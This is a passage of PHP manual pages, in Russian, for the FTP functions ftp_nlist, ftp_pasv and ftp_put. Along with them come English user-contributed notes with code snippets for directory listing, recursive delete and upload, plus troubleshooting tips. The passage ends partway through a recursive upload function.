Sometimes, you won't be able to get folder content because of NAT or Firewall issues on your server. As a result you need to put ftp connection into a passive mode:

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// enabling passive mode
ftp_pasv( $conn_id, true );

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>
sksafarath at impelsys dot com 23-Aug-2006 04:17
If we are giving second parameter as full directory  path then it wil return the list of files with full path, If we want to list only files you can do as following code
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
//if u want to display the files from /home/test/
//change directory point to /home/test using
ftp_chdir($conn_id, "test");
//then pass second parameter as null which will give the list of files.
// get contents of the current directory
$contents = ftp_nlist($conn_id, "");

Note: This is working for me in PHP5
robtherat at gmx dot de 09-Aug-2006 06:00
The function from nekrostar at gmx dot net does not work for me, so I've tryed to do it my way. For checking if a found file is a directory or not I use the ftp_size function.

<?php
function ftplistdir($conn_id, $dir){
    $fold_no = array(".", "..", "cgi-data", "comp", "zuern", "counter");
    $list = ftp_nlist( $conn_id, $dir );
    foreach($list as $file){
        if (ftp_size($conn_id, $dir ."/".$file)== -1){
            if (in_array($file, $fold_no)) {
                print $file ." Ueberspringe ausgeschlossenes Verzeichnis.<br>";
            } else {
                $geslist[]= $dir ."/". $file;
                $temp=ftplistdir($conn_id, $dir ."/". $file);
                $geslist=array_merge($geslist, $temp);
            }
        }else{
            $geslist[]= $dir ."/". $file;
        }
    }
    return $geslist;
}
?>
I hope it's usefull for anyone
Robert
nekrostar at gmx dot net 02-Aug-2006 04:08
This function returns an array with the directory path and all files and subdirs which are in this

    function ftp_searchdir($conn_id, $dir)
    {
        if( !@ftp_is_dir( $conn_id, $dir ) ) {
            die( 'No such directory on the ftp-server' );
        }
        if( strrchr( $dir, '/' ) != '/' ) {
            $dir = $dir.'/';
        }
        $dirlist[0] = $dir;
        $list = ftp_nlist( $conn_id, $dir );
        foreach( $list as $path ) {
            $path = './'.$path;
            if( $path != $dir.'.' && $path != $dir.'..') {
                if( ftp_is_dir( $conn_id, $path ) ) {
                        $temp = ftp_searchdir( $conn_id, ($path), 1 );
                        $dirlist = array_merge( $dirlist, $temp );
                } else {
                    $dirlist[] = $path;
                }
            }

        }
        ftp_chdir( $conn_id, '/../' );

        return $dirlist;

    }
----------------------------------------------------------------------
    //Looks if a directory ($dir) is isset
    //returns true or false

    function ftp_is_dir( $conn_id,  $dir )
    {
        if( @ftp_chdir( $conn_id, $dir ) ) {
            ftp_chdir( $conn_id, '/../' );
            return true;
        } else {
            return false;
        }
    }
mail at martinauer dot net 14-May-2006 10:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr 24-Feb-2006 10:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
    if(!@ftp_delete($handle, $path))
    {
        $list = @ftp_nlist($handle, $path);
        if(!empty($list))
            foreach($list as $value)
                ftp_rmdirr($handle, $value);
    }

    if(@ftp_rmdir($handle, $path))
        return true;
    else
        return false;
}
turigeza on yahoo com 07-Nov-2005 07:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
    {
    if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
        {
        $list = ftp_nlist($handle, $path);
        if (!empty($list))
            foreach($list as $value)
                ftp_rmdirr($value, $handle);
        }
    @ftp_rmdir($handle, $path);
    }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com 29-Jun-2005 09:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
    if (empty($ftp_user_name)) {
        $ftp_user_name = "anonymous";
    }
    if ($itempath[0]!=="/") {
        $itempath = "/".$itempath;
    }

    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    $contents = ftp_nlist($conn_id, "$itempath");

    if (!empty($contents[0])) {
        $check = str_replace($itempath, "", $contents[0]);
        if (!empty($check)) {
            return true;
        }
    }
    ftp_close($conn_id);
}

// example :
    if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
        // do something related to directory handling action
    } else {
        // The target item is a file ...
    }

?>
ds at over dot hu 18-Dec-2004 08:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
    foreach ($files as $file) {
      if (ftp_size($cid, $file) == "-1"){
        filecollect($cid,$file);
      } else $flist[] = $file;
    }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
    $filelist = filecollect($conn_id);
    echo "<pre>";
      print_r($filelist);
    echo "</pre>";
  }

?>
webmaster at torbox dot info 26-Sep-2004 09:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com 29-Feb-2004 02:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au 13-Oct-2003 08:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc 14-Jul-2003 12:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com 03-Jun-2003 10:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
    function files($dir)
    {
        /*
        if(!isset($dir) || empty($dir))
        {
            $dir=ftp_pwd($this->conn_id);
        }
        */
        unset($list);
        unset($files);
        unset($folders);
        unset($folder);
        unset($file);
        @ftp_chdir($this->conn_id, $dir);
        $dir = ftp_pwd($this->conn_id);
        $list=Array();
        $list=ftp_nlist($this->conn_id, "$dir");
        $files = Array();
        $folders = Array();
        for($i = 0; $i != sizeof($list); $i++)
        {
            $entry = str_replace("//", "", $list[$i]);
            if(@ftp_chdir($this->conn_id, $entry))
            {
                $folders[] = $entry;
                ftp_chdir($this->conn_id, $dir);
            }
            else
            {
                $files[] = $entry;
            }
        }
        print "\t<b> Dateien in ".$dir." :</b><br><br>";
        foreach($files as $file)
        {
            print $file."<br>";
        }
        print "\t<b>Ordner in ".$dir." :</b> <br><br>";
        foreach ($folders as $folder)
        {
            print "\t".$folder."<br>";
            ftp_chdir($this->conn_id, $dir);
            $this->files($folder);
        }
    }
louis at ewens dot com 29-Apr-2003 04:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br 12-Feb-2003 08:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
    $newlist = array();
    reset($list);
    while (list(,$row) = each($list))
    {
        $buf="";
        if ($row[0]=='d'||$row[0]=='-'){
        $buf = substr($row,55);
        $newlist[]=$buf;
        }
    }

return $newlist;
}
ryan at wonko dot com 20-Mar-2002 07:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com 13-Nov-2000 12:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");


Включает или выключает пассивный режим

  • « ftp_nlist
  • ftp_put »
  • PHP Manual
  • Функции FTP
  • Включает или выключает пассивный режим

ftp_pasv

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pasv — Включает или выключает пассивный режим

Описание

ftp_pasv(FTP\Connection $ftp, bool $enable): bool

ftp_pasv() включает или выключает пассивный режим. В пассивном режиме передача данных инициируется клиентом, а не сервером. Данный режим может понадобиться в случае, если клиент находится за брандмауэром.

Обратите внимание, что ftp_pasv() может быть вызвана только после успешной авторизации, иначе она завершится с ошибкой.

Список параметров

ftp

An FTP\Connection instance.

enable

Если true, пассивный режим будет включён, иначе выключен.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_pasv()

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// установка соединения
$conn_id = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// включение пассивного режима
ftp_pasv($conn_id, true);

// загрузка файла
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
echo "$file успешно загружен на сервер\n";
} else {
echo "Не удалось загрузить $file на сервер\n";
}

// закрытие соединения
ftp_close($conn_id);
?>

User Contributed Notes

rrehbein at officesupply dot com 26-Oct-2018 01:59
For some FTP servers, it seems the sequence of passive and other commands matters more than for other FTP servers. Sorry, I don't know what vendor or version specifically.

<?php
ftp_pasv($handle, true);
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> PHP Warning: ftp_fput(): STOR out of sequence.

<?php
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_pasv($handle, true);
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> no issue
carda at two-wings dot net 30-Jul-2014 08:16
It should be noted that ftp_pasv has to be called AFTER ftp_login (not after ftp_connect). May seem obvious to many but it took me three hours to find out...
sameg14 at gmail dot com 07-May-2014 11:06
If you are running filezilla in passive mode, on windows, and try to connect using PHP, you might encounter an error that reads "425 Can't open data connection for transfer of ..."
This error is not indicative of a passive mode issue, but can be resolved by using
<?php
ftp_pasv($conn, true);
?>
marc at gutt dot it 20-Feb-2013 09:32
If you are still having problems after choosing ftp_pasv() you should refresh the connection through ftp_close() / ftp_connect() after x files and/or y GB have been transfered.

It solved several (random) occurring problems like:

ftp_get(): Opening BINARY mode data connection

ftp_get(): Entering Passive Mode

Hint: fopen() created a file so don't forget to delete it if an error occurred ;)
mac at codegreene dot com 09-Jul-2010 03:20
I found one place that required passive mode to function properly, but the initial error manifested itself in an odd way:

PHP Warning:  ftp_put(): TYPE is now ASCII in <file.php> on line <#>

or

PHP Warning:  ftp_put(): TYPE is now 8 BIT BINARY in <file.php> on line <#>

The other symptom is that it was taking a long time, perhaps the 90 seconds that the timeout was set to. No errors occurred upon connect, just when I tried ftp_put().

Once I turned on ftp_pasv() it worked, both in the place where active mode worked, and on the server where active mode wouldn't work.
Anonymous 04-Sep-2009 10:45
If you find that you are receiving "Illegal PORT command" errors you may want to try enabling passive mode.
ybourbeau at edison dot ca 08-Apr-2002 03:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
03-Apr-2002 04:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.


Загружает файл на FTP-сервер

  • « ftp_pasv
  • ftp_pwd »
  • PHP Manual
  • Функции FTP
  • Загружает файл на FTP-сервер

ftp_put

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_put — Загружает файл на FTP-сервер

Описание

ftp_put(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_put() загружает локальный файл на FTP-сервер.

Список параметров

ftp

An FTP\Connection instance.

remote_filename

Путь к файлу на FTP-сервере.

local_filename

Путь к локальному файлу.

mode

Задаёт режим передачи. Может принимать значения FTP_ASCII или FTP_BINARY.

offset

Задаёт позицию в удалённом файле, в которую начнётся загрузка

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_put()

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// загрузка файла
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
echo "$file успешно загружен на сервер\n";
} else {
echo "Не удалось загрузить $file на сервер\n";
}

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_pasv() - Включает или выключает пассивный режим
  • ftp_fput() - Загружает предварительно открытый файл на FTP-сервер
  • ftp_nb_fput() - Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
  • ftp_nb_put() - Загружает файл на FTP-сервер в асинхронном режиме

User Contributed Notes

jan at odvarko dot cz 26-Feb-2021 09:42
Yet another recursive ftp_put.

* The parameters are similar to that of ftp_put, so if you need to copy a directory, just use ftp_put_dir(...) instead of ftp_put(...).
* Another advantage is that the remote directory doesn't need to exist.
* Returns TRUE on success, FALSE on failure.
* Inspired by lucas at rufy dot com and webmaster at sweetphp dot com.

<?php

function ftp_put_dir($ftp, $remote_dirname, $local_dirname, $mode=FTP_BINARY) {
    $success = true;

    // If necessary, create the remote directory.
    if (!ftp_nlist($ftp, $remote_dirname)) {
        if (ftp_mkdir($ftp, $remote_dirname) === false) {
            $success = false;
        }
    }

    $dir = dir($local_dirname);
    while ($f = $dir->read()) {
        if ($f === '.' || $f === '..') {
            continue;
        }
        $lf = $local_dirname . '/' . $f;
        $rf = $remote_dirname . '/' . $f;

        if (is_dir($lf)) {
            if (!ftp_put_dir($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        } else {
            if (!ftp_put($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        }
    }
    $dir->close();

    return $success;
}

?>
darleys at darleys dot org 23-Mar-2017 05:49
-----FTP PUT contents (php 7.0) ---
$tmpFile = tmpfile();
fwrite($tmpFile, $contents);
rewind($tmpFile);
$tmpMetaData = stream_get_meta_data($tmpFile);

if (ftp_put($ftpObj, $remoteFile, $tmpMetaData['uri'], FTP_ASCII)) {
      echo "success";
}else {
       echo "fail"
}
fclose($tmpFile);
jaxx1rr@g 06-Oct-2016 02:21
please add ftp_pasv($conn_id, true); to the first example (after ftp_login), can't you see so many users are having problems without it ?
fabiogoncalves at live dot co dot uk 14-Feb-2015 12:14
I was trying to upload WAV files using FTP_ASCII and the file was full of noise after uploading.

So for WAV files use FTP_BINARY.

Hope it helps.
donjajo at 2netlodge dot com 15-Sep-2013 09:08
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251" />
<title>Simple FTP Upload Script using PHP by 2netlodge</title>
</head>

<body>
<?php
if(isset($_POST['ftp']))
     {
        $ftp = $_POST['ftp'];
        $username = $_POST['username'];
        $pwd = $_POST['pwd'];
        $filename = $_FILES['file']['name'];
        $tmp = $_FILES['file']['tmp_name'];
        $d = $_POST['des'];

        $connect = ftp_connect($ftp)or die("Unable to connect to host");
        ftp_login($connect,$username,$pwd)or die("Authorization Failed");
        echo "Connected!<br/>";

        if(!$filename)
            {
                echo"Please select a file";
            }
        else
            {
                ftp_put($connect,$d.'/'.$filename,$tmp,FTP_ASCII)or die("Unable to upload");
                        echo"File successfully uploaded to FTP";
            }
    }

?>
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="ftp" placeholder="FTP link"/><br/>
<input type="text" name="username" placeholder="Username"/><br/>
<input type="password" name="pwd" placeholder="Password"/><br/>
<input type="file" name="file" /><br/>
<input type="text" name="des" placeholder="Destination"  /><br/>
<br/><input type="submit" value="Upload"/></form>

</body>
</html>
Anonymous 24-Aug-2012 12:59
If you are getting the very helpful warnings...
"Opening BINARY mode data connection" or
"Opening ASCII mode data connection"

... and have tried ftp_pasv, ftp_alloc, switching between FTP_ASCII or FTP_BINARY and blaming the FTP provider (like I did), try using ftp_close then ftp_connect to reset your FTP connection. Worked for me!
Anonymous 13-Mar-2012 10:28
Hi !

If you get this error when trying to send data to server :
Warning: ftp_put() [function.ftp-put]: Unable to build data connection: Connection timed out...

Two solutions :
 - Add the program httpd.exe in your exception list for external connexions of your firewall. Indeed, the FTP protocol open a new socket for data transfer. And this socket is opened from the server to the client (your computer). This program is located (for WAMP) in C:\wamp\bin\apache\Apache[version]\bin\
 - Use the ftp_pasv() function to activate the passive mode. In this mode, it is the client who open the new socket to the server.
lourspolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
lousrpolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
JDD 12-Mar-2010 06:22
In case you aren't aware...  Some web hosting services do NOT allow outbound ftp unless you have a dedicated server account.  A "shared" hosting account often doesn't have this capability.

So if you can't get your ftp, curl, or ssh remote file transfer functions to work, check with the host service and ask.  You may have to upgrade your account.
Svinto 01-Mar-2010 04:58
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:

FTP uses 2 connections on different ports, one for connection/handshake and another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but because of the different IP-adresses this didn't work.

Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
bintjes at gmail dot com 02-Jul-2009 01:51
I've seen two notes about a "ftp_copy" function but i think   there's a misinterpretation about what an "ftp_copy" function should do. For me , it should be something like an ftp_rename that would keep the orginal file and clone it somewhere else on the same ftp server, as for them they consider its purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol there's no such thing as an FTP COPY  command anyway, i think you're free to interpret it as you want.
So here's my solution using ftp_put and ftp_get ..

<?php
// bool ftp_copy  ( resource $ftp_stream  , string $initialpath, string $newpath, string $imagename )
function ftp_copy($conn_distant , $pathftp , $pathftpimg ,$img){
        // on recupere l'image puis on la repose dans le nouveau folder
        if(ftp_get($conn_distant, TEMPFOLDER.$img, $pathftp.'/'.$img ,FTP_BINARY)){
                if(ftp_put($conn_distant, $pathftpimg.'/'.$img ,TEMPFOLDER.$img , FTP_BINARY)){
                        unlink(TEMPFOLDER.$img) ;
                } else{
                        return false;
                }

        }else{
                return false ;
        }
        return true ;
}
?>
Anonymous 26-Apr-2009 07:51
If when using ftp_put you get the one of the following errors:

Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection

Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
Kev 31-Mar-2009 08:36
Got this cryptic error

Warning:  ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48

Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)

e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);

you have to put

<?php
ftp_chdir($conn, '/www/site/');
ftp_put($conn,'file.html', 'c:/wamp/www/site/file.html', FTP_BINARY );
?>
emailfire at gmail dot com 20-May-2008 03:45
Took me forever to work out but this will work if you get the paths right!

<?php
function ftp_copy($file) {
global $conn_id;
$ftp_root = '/public_html/';
$site_root = '/home/usr/public_html/';
return ftp_put($conn_id, $ftp_root . $file, $site_root . $file, FTP_BINARY);
}
?>

Login to your site using an FTP client to retrieve the $ftp_root

Use something like getcwd() to get the $site root
florian dot ember at gmail dot com 17-May-2008 08:08
Currently, there is no function that lets you specifiy the file's contents as a string. However, there is ftp_fput(), which operates on an open file. Using this function in conjunction with tmpfile() lets you emulate this kind of function. (You could also use php://memory, but this breaks BC).

<?php
function ftp_fputs($ftp_stream, $remote_file, $contents, $mode, $startpos = 0)
{
    $tmp = tmpfile();
    fwrite($tmp, $contents);
    rewind($tmp);
    $result = ftp_fput($ftp_stream, $remote_file, $tmp, $mode, $startpos);
    fclose($tmp);
    return $result;
}
?>
Aditya P Bhatt (adityabhai at gmail dot com) 26-Mar-2008 03:18
Here is the Code I am using for the same function with more flexibility in static code:
<?
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";

//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want to throw the file on the webserver (relative to your login dir)

$conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message

if ((!$conn_id) || (!$login_result)) {  // check connection
    // wont ever hit this, b/c of the die call on ftp_login
    echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
    exit;
} else {
    //echo "Connected to $ftp_server, for user $ftp_user_name <br />";
}

$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY);  // upload the file
if (!$upload) {  // check upload status
    echo "<span style='color:#FF0000'><h2>FTP upload of $filename has failed!</h2></span> <br />";
} else {
    echo "<span style='color:#339900'><h2>Uploading $name Completed Successfully!</h2></span><br /><br />";
}
ftp_close($conn_id); // close the FTP stream
?>
dherran at gmail dot com 17-Dec-2007 12:01
If you are moving files from one folder to another inside the same server, the "local file" field has to be indicated in a relative path according to the location of the script running the ftp_put() function.

For example, your function is running on: /public_html/do_ftp.php and you want to move /public_html/products.php to /public_html/backup/products.php

The correct way to build the function would be:

ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php', FTP_ASCII);

After having headaches for 2 days trying to make this function work using absolute paths in both fields, I finally found the right way to use it. I hope it helps someone. Excuse my english, it isn't my native language.
Ari 16-Jul-2007 11:30
I'm copying fairly large backup files from server to server. ftp_put was running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started working again.
todd 11-May-2007 11:26
This is an extremely trivial thing but one that had me stumped forever (well, until I decided to check the error logs and see the error). I had a large file (mysql backup of a huge forum) that was only partially being uploaded to a remote backup server. Couldn't figure out why, until I realized that the max execution time was being hit since it was taking longer than 30 seconds to upload this file.

<?php
set_time_limit(0);
rest of the code here....
?>

That did the trick. It's one of those dumb, trivial things, and if you're having trouble like I, it may be something you overlooked.
koen dot depoorter at gmail dot com 11-Feb-2007 04:24
If you are having timeouts uploading a file, even very small files, you might have a look at ftp_pasv()

And don't forget to do it after your ftp_login();

koen
tom pittlik 20-Dec-2005 02:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb 25-Aug-2005 05:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au 16-Jul-2005 01:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
        $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

    $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

        $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
    if (!$upload) {// check upload status
        echo "FTP upload of $destination_file has failed!";
    } else {
        echo "Uploaded $file to $conn_id as $destination_file";
    }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com 08-Jul-2005 05:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
